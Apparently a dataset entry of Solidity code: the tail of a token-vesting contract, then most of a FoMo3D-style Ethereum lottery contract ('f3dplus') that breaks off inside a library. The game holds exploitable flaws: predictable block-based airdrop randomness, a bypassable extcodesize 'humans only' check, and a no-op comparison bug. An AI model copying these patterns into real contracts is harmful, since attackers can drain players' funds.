function rejectAllocation(address _address) public onlyOwner {
var tmp = allocationOf[_address];
require(tmp.allocationState == Types.AllocationState.Proposed);
allocationOf[_address].allocationState = Types.AllocationState.Rejected;
remainingTokensPerPeriod = remainingTokensPerPeriod + tmp.tokensPerPeriod;
}
function claimTokens(address _address) public returns (uint256) {
Types.StructVestingAllocation storage alloc = allocationOf[_address];
if (alloc.allocationState == Types.AllocationState.Approved) {
uint256 periodsElapsed = SafeMath.min((block.timestamp - initTimestamp) / (minutesInPeriod * 1 minutes), periods);
uint256 tokens = (periodsElapsed - alloc.claimedPeriods) * alloc.tokensPerPeriod;
alloc.claimedPeriods = periodsElapsed;
return tokens;
}
return 0;
}
} | 0 | 1,091 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract F3DPLUS is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x004f29f33530cfa4a9f10e1a83ca4063ce96df7149);
address private admin = msg.sender;
string constant public name = "f3dplus";
string constant public symbol = "f3dplus";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 5 minutes;
uint256 constant private rndInc_ = 1 seconds;
uint256 constant private rndMax_ = 5 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(22,6);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(52,10);
fees_[3] = F3Ddatasets.TeamFee(68,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
